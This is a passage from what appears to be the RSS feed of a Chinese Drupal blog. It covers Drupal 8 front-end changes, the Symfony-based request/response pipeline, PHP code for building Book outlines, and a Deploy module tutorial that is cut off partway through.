&lt;p&gt;##响应式主题&lt;/p&gt;

&lt;p&gt;在&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-2-mobile-improvements&#34; target=&#34;_blank&#34;&gt;移动增强&lt;/a&gt;一篇中介绍过，Drupal 8中包含了很多响应式的特性，包含主题，工具栏，图片以及表格等。&lt;/p&gt;

&lt;p&gt;为了支持这些特性，可以在主题中声明&lt;a href=&#34;https://drupal.org/node/1813914&#34; target=&#34;_blank&#34;&gt;Breakpoints&lt;/a&gt;（为了符合浏览器和设备的需要，定义的高度宽度和分辨率），断点可以用来支撑这些多种多样的相应式特性。（然而，注意&lt;a href=&#34;https://www.drupal.org/node/2271529&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;把Breakpoint设置转移到*.info.yml中&amp;rdquo;&lt;/a&gt;）还是一个正在开发中的补丁。&lt;/p&gt;

&lt;p&gt;另外，&lt;a href=&#34;https://drupal.org/node/2260061&#34; target=&#34;_blank&#34;&gt;Drupal 8很可能支持&lt;/a&gt;新的&lt;a href=&#34;http://picture.responsiveimages.org/&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;&lt;picture&gt;元素&lt;/strong&gt;&lt;/a&gt;，这个元素将会在今年秋天被浏览器支持。会对前端性能有很大增强。针对移动设备来说，会发送小尺寸图片给小屏幕，节省流量和时间。（多谢&lt;a href=&#34;http://www.marcdrummond.com/&#34; target=&#34;_blank&#34;&gt;Marc Drummond&lt;/a&gt;提供了本节内容）&lt;/p&gt;

&lt;p&gt;##选择性添加JS/CSS的新方法&lt;/p&gt;

&lt;p&gt;继续前端性能的话题。过去，如果想要在某个页面加入CSS或者JS，需要使用&lt;strong&gt;drupal_add_css()&lt;/strong&gt;以及&lt;strong&gt;drupal_add_js()&lt;/strong&gt;函数。现在只要在渲染数组中加入&lt;strong&gt;#attached&lt;/strong&gt;属性就可以了，例如：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.theme&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function seven_form_node_form_alter(&amp;amp;$form, &amp;amp;$form_state) {
...
  $form[&#39;#attached&#39;] = array(
    &#39;css&#39; =&amp;gt; array(drupal_get_path(&#39;module&#39;, &#39;node&#39;) . &#39;/css/node.module.css&#39;),
  );
...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;着对于一次性的使用很有帮助，而且没有什么依赖，更通用并且推荐的方式是在你的MODULE/THEME.libraries.yml中注册一个或多个CSS/JS项目，然后在&lt;strong&gt;#attached&lt;/strong&gt;属性中添加一个引用。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.libraries.yml&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;maintenance-page:
    version: VERSION
    js:
      js/mobile.install.js: {}
    css:
      theme:
        maintenance-page.css: {}
    dependencies:
      - system/maintenance&lt;/p&gt;

&lt;p&gt;install-page:
    version: VERSION
    js:
      js/mobile.install.js: {}
    css:
      theme:
        install-page.css: {}
    dependencies:
      - system/maintenance&lt;/p&gt;

&lt;p&gt;drupal.nav-tabs:
    version: VERSION
    js:
      js/nav-tabs.js: {}
    dependencies:
      - core/matchmedia
      - core/jquery
      - core/drupal
      - core/jquery.once
      - core/jquery.intrinsic&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.theme&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function seven_preprocess_install_page(&amp;amp;$variables) {
  // ...
  $libraries = array(
    &#39;#attached&#39; =&amp;gt; array(
      &#39;library&#39; =&amp;gt; array(
        &#39;seven/maintenance-page&#39;,
        &#39;seven/install-page&#39;,
      ),
    ),
  );
  drupal_render($libraries);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这种方式看起来不如&lt;strong&gt;drupal_add_foo()&lt;/strong&gt;的方式直观，但是这意味着这些内容可以被缓存从而提高性能，可以容易的在不同地方进行重用。&lt;/p&gt;

&lt;p&gt;##安息吧，IE678&lt;/p&gt;

&lt;p&gt;最后，来一个忧郁的结尾，最大一个对前端开发者而言的进步就是，Drupal 8核心已经放弃了对IE 6-8的支持，启用了jQuery 2.0以及现代的HTML5/CSS3的浏览器支持（还在讨论关于&lt;a href=&#34;https://drupal.org/node/2286601&#34; target=&#34;_blank&#34;&gt;停止对Android 2.3以及更旧版本的支持&lt;/a&gt;的问题）。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://code.google.com/p/html5shiv/&#34; target=&#34;_blank&#34;&gt;html5shiv&lt;/a&gt;（一个为兼容性差的浏览器准备的HTML5处理器）也包含在Drupal 8中，这使得IE 8之类的浏览器不会完全坏掉， 还有个&lt;a href=&#34;https://drupal.org/project/ie8&#34; target=&#34;_blank&#34;&gt;IE8项目&lt;/a&gt;被提供给必须支持IE8的开发者们。&lt;/p&gt;

&lt;p&gt;我们正在寻找简洁有效的前端代码，而不想为5岁以上的浏览器担忧。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7f272df0fbdac9d44002ee71dab75389.jpg&#34; alt=&#34;IE WANTED&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##还有更多&lt;/p&gt;

&lt;p&gt;Drupal 8还在开发之中，连Beta还没开始，有些API还没能够最终确定（RC之前这些修饰类的事情都不会停止）。前端还有些编码和复审之类的大事需要做。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;前端的事情还没有完全完成（提示：这里有个学习Twig的好机会），&lt;a href=&#34;https://drupal.org/node/1757550&#34; target=&#34;_blank&#34;&gt;向Twig模板移植所有核心主题功能&lt;/a&gt;这一工作还在持续进行中，除了很罕见的性能相关的一些问题之外，主题的工作和从前并无不同。这一工作将会使主题制作过程更加直观，原因是降低了对设计师PHP水平的要求，而让设计师绝大多数工作完全集中在一些小标记中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/node/507488&#34; target=&#34;_blank&#34;&gt;把页面元素（包括标题、TAB、Actions以及Messages）转换为Block&lt;/a&gt;以及&lt;a href=&#34;https://drupal.org/node/474004&#34; target=&#34;_blank&#34;&gt;把Menu_block模块功能嵌入核心&lt;/a&gt;会去掉那些看起来很奇怪的变量。统一的页面元素将会以Block的形式统一呈现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/node/1980004&#34; target=&#34;_blank&#34;&gt;Dream Markup&lt;/a&gt;（梦之标么。。——译者喝多了）项目尝试去掉Drupal所有麻烦的标记（尤其是DIV）。这一活动在奥斯汀DrupalCon中形成了一份提议：&lt;a href=&#34;https://www.drupal.org/node/2289511&#34; target=&#34;_blank&#34;&gt;《剥掉所有Drupal核心中的缺省标记》&lt;/a&gt;，这份提议建议移除所有多余的东西，提供一份仅包含有用的类和包装的基础主题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;还是在奥斯汀DrupalCon，&lt;a href=&#34;https://groups.drupal.org/headless-drupal&#34; target=&#34;_blank&#34;&gt;Headless Drupal&lt;/a&gt;提出，希望能够使用完全自定义的前端框架，例如Angular JS。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##这是一个转折&lt;/p&gt;

&lt;p&gt;下一次，我们将会讲一些Drupal 8中的后端开发的特性。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>从请求到响应：Drupal 8 机制概览</title>
      <link>/post/drupal-from-request-to-response/</link>
      <pubDate>Fri, 18 Sep 2015 23:10:53 +0800</pubDate>
      <guid>/post/drupal-from-request-to-response/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://www.sitepoint.com/build-drupal-8-module-routing-controllers-menu-links/&#34; target=&#34;_blank&#34;&gt;《Drupal 8 模块开发》&lt;/a&gt;的第一篇文章中，我们对路由方面做了一些了解。我们看到，现在是通过声明路由，配合Controler，来创建一个 Path 对应的页面。后面我们看到，可以返回一个渲染数组，这个数组将被还原为标记，并展示在页面的内容区域中。然而，你是否注意到在这水面之下，Drupal 实际上是把这个数组根据 &lt;code&gt;Symfony&lt;/code&gt;的 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpKernel/HttpKernelInterface.html&#34; target=&#34;_blank&#34;&gt;HTTPKernelInterface&lt;/a&gt; 转换为一个 &lt;code&gt;Response&lt;/code&gt; 对象？&lt;/p&gt;

&lt;p&gt;本文中，我将会深入到 Drupal 8（ 以及 Symfony 2 ）之中，看看从用户发起请求，到看到响应的过程中，到底发生了什么。上面的例子是这一过程的可能性之一，今天我们会看一下其他的可能。本文目标是理解系统的弹性如何帮助我们制作应用。&lt;/p&gt;

&lt;p&gt;在继续之前，我强烈建议你研究一下&lt;a href=&#34;https://www.drupal.org/files/d8_render_pipeline.pdf&#34; target=&#34;_blank&#34;&gt;这张图&lt;/a&gt;，这里综合了渲染线（&lt;code&gt;render pipeline&lt;/code&gt;）中的常见内容。在我看来，这张图所表达的内容已经超出了他的名字申明的范围，渲染系统只是其中的一个部分而已。&lt;/p&gt;

&lt;p&gt;##前端控制器（index.php）&lt;/p&gt;

&lt;p&gt;Symfony 2 现在是 Drupal 的重要组成部分。后面会看到很多 Symfony 的组件，在本文中是 &lt;a href=&#34;http://symfony.com/doc/current/components/http_kernel/introduction.html&#34; target=&#34;_blank&#34;&gt;HTTPKernel&lt;/a&gt; 以及 &lt;a href=&#34;http://symfony.com/doc/current/components/http_foundation/introduction.html&#34; target=&#34;_blank&#34;&gt;HTTPFoundation&lt;/a&gt; 。二者结合用于处理用户请求，把请求传递给应用，然后以面向对象的方式返回给用户。&lt;/p&gt;

&lt;p&gt;HTTPKernelInterface（你可能在&lt;a href=&#34;http://www.sitepoint.com/stackphp-explained/&#34; target=&#34;_blank&#34;&gt;其他地方&lt;/a&gt;听说过）是这个过程的胶水，他接收一个 &lt;code&gt;Request&lt;/code&gt; 对象，返回一个 &lt;code&gt;Response&lt;/code&gt; 对象，用这种简单而又强大的机制，把整个过程连接在一起。&lt;/p&gt;

&lt;p&gt;这个过程在 &lt;code&gt;index.php&lt;/code&gt; 文件中启动，他生成了一个 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpFoundation/Request.html&#34; target=&#34;_blank&#34;&gt;Request&lt;/a&gt; 对象，并传递给 &lt;code&gt;HTTPKernel::handle()&lt;/code&gt; 方法。后面就是用返回 &lt;a href=&#34;http://api.symfony.com/2.7/Symfony/Component/HttpFoundation/Response.html&#34; target=&#34;_blank&#34;&gt;Response&lt;/a&gt; 对象的方式进行响应。概括说来，这既是 Drupal 的，也是所有使用 Symfony 的 HTTPKernel 组件的应用的通用过程。&lt;/p&gt;

&lt;p&gt;##HTTPKernel 和 事件&lt;/p&gt;

&lt;p&gt;HTTPKernel 是 Symfony 应用的心脏。我们会看到，他的 &lt;code&gt;handle()&lt;/code&gt; 方法对响应内容的生成做了大量工作，这些工作以一个&lt;a href=&#34;http://symfony.com/doc/current/components/http_kernel/introduction.html#httpkernel-driven-by-events&#34; target=&#34;_blank&#34;&gt;事件驱动的工作流形式&lt;/a&gt;完成。这样的应用，通过对事件进行委托的方式完成，为大负载网站提供了极具弹性的架构。&lt;/p&gt;

&lt;p&gt;如果你看了前面的图，你会发现第二列里面描述了这个工作流，这部分构成了 Symfony 和 Drupal 之间的连接。&lt;/p&gt;

&lt;p&gt;名为 &lt;code&gt;kernel.request&lt;/code&gt; 的事件启动了这一过程。订阅这个事件可以处理很多任务。不过 Drupal 8 中需要注意的是格式的协商和路由。格式问题决定了返回的类型（html, json, image, pdf 等）；而第二个问题决定了响应这一请求需要执行哪些代码（&lt;code&gt;routing.yml&lt;/code&gt;文件中路由定义部分的&lt;code&gt;_controller&lt;/code&gt;键）。不过跟事件工作流里面的步骤一样，如果一个监听器返回了一个响应对象，这个过程就会跳过后面的大多数步骤，直达 &lt;code&gt;kernel.response&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;第二个事件是 &lt;code&gt;kernel.controller&lt;/code&gt;，在应用找到了用于处理请求的控制器之后，就会调用这个事件。在这里，监听器还可以执行一些重载方法。紧接这个步骤，核心开始解析传递给控制器的参数。Drupal 中的一个操作就是根据请求中找到的 ID  载入对象，提供给控制器。最后控制器使用给定参数开始执行。&lt;/p&gt;

&lt;p&gt;控制器用来返回某种类型的响应。如果返回一个&lt;code&gt;Response&lt;/code&gt;对象，这一过程会跳过后面的&lt;code&gt;kernel.response&lt;/code&gt;事件。监听器可以进行发送前的最后修改，例如修改内容头等。前端控制器通过&lt;code&gt;handle()&lt;/code&gt;方法获取&lt;code&gt;Response&lt;/code&gt;对象之后，使用&lt;code&gt;Response&lt;/code&gt;的&lt;code&gt;send()&lt;/code&gt;方法发送给用户，结束这一过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/d148f7b4894e61b95f0e0db260fa549d.png&#34; alt=&#34;workflow&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##了解渲染数组&lt;/p&gt;

&lt;p&gt;如果控制器返回的不是&lt;code&gt;Response&lt;/code&gt;对象。核心会触发最后一个事件：&lt;code&gt;kernel.view&lt;/code&gt;。这一事件的订阅者负责把控制器的结果转换为&lt;code&gt;Response&lt;/code&gt;对象。所以这意味着通过对这一事件的响应，你可以在控制器中返回任何类型的对象。&lt;/p&gt;

&lt;p&gt;然而，正如我们在 &lt;a href=&#34;http://www.sitepoint.com/build-drupal-8-module-routing-controllers-menu-links/&#34; target=&#34;_blank&#34;&gt;example&lt;/a&gt; 中所见，多数控制器会返回一个渲染数组。一般来说，这一结构成仙了页面的主要内容（类似 Drupal 7 中的&lt;code&gt;page callback&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;Drupal 8 中提供了 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21EventSubscriber%21MainContentViewSubscriber.php/class/MainContentViewSubscriber/8&#34; target=&#34;_blank&#34;&gt;MainContentViewSubscriber&lt;/a&gt;，用来把这一数组转换为对应的&lt;code&gt;Response&lt;/code&gt;对象。他根据之前我们提到的内容格式协商，使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21MainContent%21MainContentRendererInterface.php/interface/MainContentRendererInterface/8&#34; target=&#34;_blank&#34;&gt;MainContentRenderer&lt;/a&gt; 来完成这一任务。&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/pipeline#main-content-renders&#34; target=&#34;_blank&#34;&gt;Drupal 8 提供了一系列的渲染器&lt;/a&gt;，缺省使用的是 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21MainContent%21HtmlRenderer.php/class/HtmlRenderer/8&#34; target=&#34;_blank&#34;&gt;HtmlRenderer&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##HtmlRenderer&lt;/p&gt;

&lt;p&gt;这是最常用的内容渲染器，因此我们需要深入一点来研究它创建页面的方法。&lt;/p&gt;

&lt;p&gt;这个步骤中的一个有趣的部分就是页面的选择过程。&lt;code&gt;HTMLRenderer&lt;/code&gt;发起一个事件用来查找用于包装内容的页面类型：&lt;code&gt;RenderEvents::SELECT_PAGE_DISPLAY_VARIANT&lt;/code&gt;。没有启用 Block 模块的缺省情况下会使用&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21Plugin%21DisplayVariant%21SimplePageVariant.php/class/SimplePageVariant/8&#34; target=&#34;_blank&#34;&gt;SimplePageVariant&lt;/a&gt;，如果启用了 Block 模块，则会引入 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21block%21src%21Plugin%21DisplayVariant%21BlockPageVariant.php/class/BlockPageVariant/8&#34; target=&#34;_blank&#34;&gt;BlockPageVariant&lt;/a&gt;，他会允许把 Block 放置到内容中的区域之中。如果有需要，你可以订阅这一事件来提供自己的选项。&lt;/p&gt;

&lt;p&gt;所有这些都在&lt;code&gt;HTMLRenderer&lt;/code&gt;的&lt;code&gt;prepare()&lt;/code&gt;方法中，&lt;code&gt;HTMLRenderer&lt;/code&gt;提供了&lt;code&gt;renderResponse()&lt;/code&gt;方法，会把带有 &lt;code&gt;#type =&amp;gt; &#39;page&#39;&lt;/code&gt;的渲染数组用主内容进行封装，转换为 &lt;code&gt;#type =&amp;gt; &#39;html&#39;&lt;/code&gt;的渲染数组，最后由 &lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Render%21Renderer.php/class/Renderer/8&#34; target=&#34;_blank&#34;&gt;Renderer类&lt;/a&gt; （相当于 Drupal 7 中的 &lt;code&gt;drupal_render()&lt;/code&gt;）。最后生成的 HTML 字符串被加入到 &lt;code&gt;Response&lt;/code&gt; 对象，返回给前端控制器。&lt;/p&gt;

&lt;p&gt;虽然这只是非常概要的一个描述，不过还是比较清楚的描述了这个过程。现在我们有了一个&lt;code&gt;Response&lt;/code&gt;对象，这意味着 Kernel 能够开始触发 &lt;code&gt;kernel.response&lt;/code&gt; 事件。然后，前端控制器就可以把&lt;code&gt;Response&lt;/code&gt;对象发送给用户，结束这一过程。&lt;/p&gt;

&lt;p&gt;##结论&lt;/p&gt;

&lt;p&gt;本文中，我们通过从用户发起请求，到获得响应的整个管线的浏览，对 Drupal 8 （以及 Symfony 2）的内部机制进行了一些了解。我们看到 Drupal 8 是如何使用 HTTPKernel 以及 HTTPFoundation 这两个 Symfony 2 组件的。另外我们看到了 Drupal 的订阅者如何同事件进行互动来完成各种功能。最后，我们看到了 HTML 页面如何构建，并在渲染管线的帮助下返回给用户。&lt;/p&gt;

&lt;p&gt;我认为了解上述内容会对建立应用产生帮助。如果你在本文中只学会一样东西，我认为应该是&lt;strong&gt;弹性&lt;/strong&gt;，这正是 Drupal 8 优于 Drupal 7 的地方，真正的现代设计。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>编程管理手册大纲</title>
      <link>/post/book-admin-in-drupal-with-code/</link>
      <pubDate>Mon, 24 Aug 2015 05:38:59 +0800</pubDate>
      <guid>/post/book-admin-in-drupal-with-code/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;本文假设读者具有编程操作 Node 的需求和经验。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Drupal 核心带有一个 Book 模块，用于生成具有&lt;strong&gt;多层上下级关系&lt;/strong&gt;的内容大纲，这一功能对于特定需求的展示是非常有用的，这里介绍一下如何使用代码来生成层级大纲。&lt;/p&gt;

&lt;p&gt;心急的同学可以直接拉到页尾抄代码。&lt;/p&gt;

&lt;p&gt;Book 模块激活后，会在内容编辑界面上生成新的手册大纲标签页。这里即可编辑手册内容，并对大纲进行创建和添加。&lt;/p&gt;

&lt;p&gt;我们可以通过新建一个手册的方式来观察 Drupal 中手册的行为，以此可以大致清楚创建的过程。&lt;/p&gt;

&lt;p&gt;首先我们可以利用 Firebug 或者 Chrome 开发控制台等工具来观察新加入的标签页中 From 的具体内容，经过观察后我们知道，新建手册的选择，基本上是选择了之前我们创建的封面所在 Node 的 nid，注意这一下拉框的 ID 中的 &lt;code&gt;bid&lt;/code&gt; 字样；如果我们选择了一个已经存在的手册的话，会多出一个选择上级的下拉框，其中列出了已经存在的手册项供选择，选择后就成为新内容的上级，注意这个下拉框 ID 中的 &lt;code&gt;plid&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;我们用上面的方式创建了新的手册之后，可以使用 Devel 工具的 &lt;code&gt;dsm&lt;/code&gt; 功能来获取新建 Node 的结构，编写如下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$node = node_load(514); //刚新建的封面的 nid。
dsm($node);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行后会发现，这个 Node 跟其他 Node 稍有不同的就是他多出一个 &lt;code&gt;book&lt;/code&gt; 成员，这是一个数组结构，这里会发现，数组中有几个名字中带 &lt;code&gt;id&lt;/code&gt; 的成员。&lt;/p&gt;

&lt;p&gt;联系刚才我们新生成的封面和内容两个 Node，进行对比，可以得到其中的上下级关系的脉络，还可以从 Book 模块的 Install 文件中拿到该模块的数据表，两相印证，大致得到了父子关系的表达方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;mlid：手册本成员的Menu Link ID&lt;/li&gt;
&lt;li&gt;bid：手册 ID&lt;/li&gt;
&lt;li&gt;nid：手册成员的 Node ID&lt;/li&gt;
&lt;li&gt;plid：手册成员的上级 Menu Link ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;即可得出 Book 的创建方法。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
 * @param string $type 内容类型
 * @param int|string $parent_nid  如果是顶层，则赋值为 &#39;new&#39;
 * @param int $parent_menu_link_id 如果是顶层，则设置为 0
 * @param int $weight
 * @return mixed|\stdClass
 * @throws \Exception
 */
function build_basic_book_node($type, $parent_nid,
                               $parent_menu_link_id, $weight = 0) {
  $node = new stdClass();
  $node-&amp;gt;type = $type;
  $node-&amp;gt;language = LANGUAGE_NONE;
  $node-&amp;gt;uid = 1;
  node_object_prepare($node);
  $node = node_submit($node);
  $node-&amp;gt;book = array(
    &#39;bid&#39; =&amp;gt; $parent_nid,
    &#39;plid&#39; =&amp;gt; $parent_menu_link_id,
    &#39;weight&#39; =&amp;gt; $weight
  );

  node_save($node);
  $node = entity_load_single(&#39;node&#39;, $node-&amp;gt;nid);
  return $node;
}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Deploy 的基本用法</title>
      <link>/post/deploy-module-in-drupal-basic/</link>
      <pubDate>Thu, 13 Aug 2015 23:48:37 +0800</pubDate>
      <guid>/post/deploy-module-in-drupal-basic/</guid>
      <description>

&lt;p&gt;在这个演示中，我们会创建和部署一个新的 Node，然后发布一个针对该 Node 的更新。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;一次部署分为两个阶段：把内容添加到部署计划，发布部署计划。部署计划的发布将内容添加到目标服务器。&lt;/p&gt;

&lt;h2 id=&#34;部署计划&#34;&gt;部署计划&lt;/h2&gt;

&lt;p&gt;一个部署计划包含一组将要发布到目标服务器上的内容。这些内容可以手工添加到部署计划中，也可以使用 Views 聚合或者 Rules 进行自动化操作。&lt;/p&gt;

&lt;h3 id=&#34;手工添加内容&#34;&gt;手工添加内容&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;在源服务器进入&lt;code&gt;node/add/article&lt;/code&gt;，创建一个新的 Article。然后随便选一些选项并保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;admin/content/node&lt;/code&gt;，查看刚新建的 Node，从 Update options 中，&lt;code&gt;Add to managed deployment plan&lt;/code&gt;下选择部署计划，点击 Update 按钮，然后在其他需要添加的内容上做同样的操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;要发布这个计划，进入&lt;code&gt;admin/structure/deploy&lt;/code&gt;然后点击 Deploy 连接，点击 Deploy 按钮进行确认。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在源服务器上运行Cron（这是因为在 Deploy 安装指南中选择 Queue API 作为 Deployment 处理器）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;编辑步骤1中提到的Node并保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;重复第二和第三步。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在源服务器上运行Cron。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;注：可以在 &lt;code&gt;admin/reports/dblog&lt;/code&gt;  上查看部署消息。&lt;/p&gt;

&lt;h3 id=&#34;自动部署计划&#34;&gt;自动部署计划&lt;/h3&gt;

&lt;p&gt;上文中我们通过手工添加内容到部署计划的方式发布了一个Node，接下来我们看看更自动化的方式。&lt;/p&gt;

&lt;h3 id=&#34;views-aggregation&#34;&gt;Views Aggregation&lt;/h3&gt;

&lt;p&gt;确认你完成了 &lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Deploy 安装&lt;/a&gt;中的所有步骤。我们要创建一个 Views Aggregator（和一个 View），而不是用一个 Managed aggregator。&lt;/p&gt;

&lt;p&gt;在源服务器：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;启用如下模块：Views deployment aggregator&lt;/p&gt;

&lt;p&gt;drush en deploy_aggregator_views&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建一个包含你想要添加到 Deployment plan 中的内容的 View（也可以直接使用首页 View）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;接下来，利用 Views aggragator 创建一个部署计划：进入&lt;code&gt;admin/structure/deploy/plans&lt;/code&gt;，点击&amp;rdquo;Add&amp;rdquo;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;给计划命名，例如 &amp;ldquo;Push to live server&amp;rdquo;。Aggregator 选择 Views aggregator；清空 Fetch only 选项；Deploy processor 使用 Queue API；Endpoints 设置为 &lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Deploy 安装&lt;/a&gt;中的设置内容。点击 &amp;ldquo;Continue&amp;rdquo; 进入下一步。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择刚才新建的 Aggregator View（或者选择缺省的首页视图）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;没有需要配置的插件，点击完成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;要发布这个计划，进入&lt;code&gt;admin/structure/deploy&lt;/code&gt;点击 Deploy 连接，确认发布。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;所有出现在指定视图中的内容都会被添加到部署计划中。创建视图之后发布的内容也会包含进来。如果有内容在发布的同时进入该视图，那么他会被加入部署计划，并推送到目标服务器。&lt;/p&gt;

&lt;h2 id=&#34;rule-actions&#34;&gt;Rule Actions&lt;/h2&gt;

&lt;h3 id=&#34;在源服务器上&#34;&gt;在源服务器上：&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;确认按照&lt;a href=&#34;http://drupal.org/node/1406134&#34; target=&#34;_blank&#34;&gt;Installing Deploy&lt;/a&gt;中讲到的方法创建一个Managed aggregator，记住点击&amp;rdquo;Delete successfully deployed items(删除发布成功的内容)&amp;ldquo;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;下载&lt;a href=&#34;http://drupal.org/project/rules&#34; target=&#34;_blank&#34;&gt;Rules&lt;/a&gt;模块。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;drush dl rules
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;启用Rules以及Rules UI模块。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;drush en rules rules_admin
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;admin/config/workflow/rules&lt;/code&gt;，点击 &lt;code&gt;Add new rule&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入 &lt;code&gt;Content to Deployment plan&lt;/code&gt; ，或者其他什么名字，在 &lt;code&gt;React on event&lt;/code&gt; 中选择&lt;code&gt;After saveing new content&lt;/code&gt; (新建内容之后)（这个选项位于 Node 的下级）。点击&lt;code&gt;Add&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add Event&lt;/code&gt;（添加事件）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择 &lt;code&gt;After updating existing content&lt;/code&gt; (更新现有内容)，点击&lt;code&gt;Add&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add Condition&lt;/code&gt;(添加条件).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;Select the condition to add&lt;/code&gt; 中选择 &lt;code&gt;Content is of type&lt;/code&gt;(内容属于某类)。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 Data Selector 中选择 Node，并在 Content type 检查条件中选择 Article。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Add action&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;Select the action to add&lt;/code&gt; 中选择 &lt;code&gt;Add an entity to a managed deployment plan&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 Value 中选择之前创建的 Managed aggregator 计划，在 Data Selector 中选择 node，点击 Save。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在 &lt;code&gt;node/add/article&lt;/code&gt; 中创建新的 Article。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;admin/structure/deploy&lt;/code&gt;，可以看到刚创建的 Article 已经在第 13 步中的计划之中了。现在开始，所有新创建和更新的 Articles 都会被自动加入部署计划。&lt;/p&gt;&lt;/li&gt;

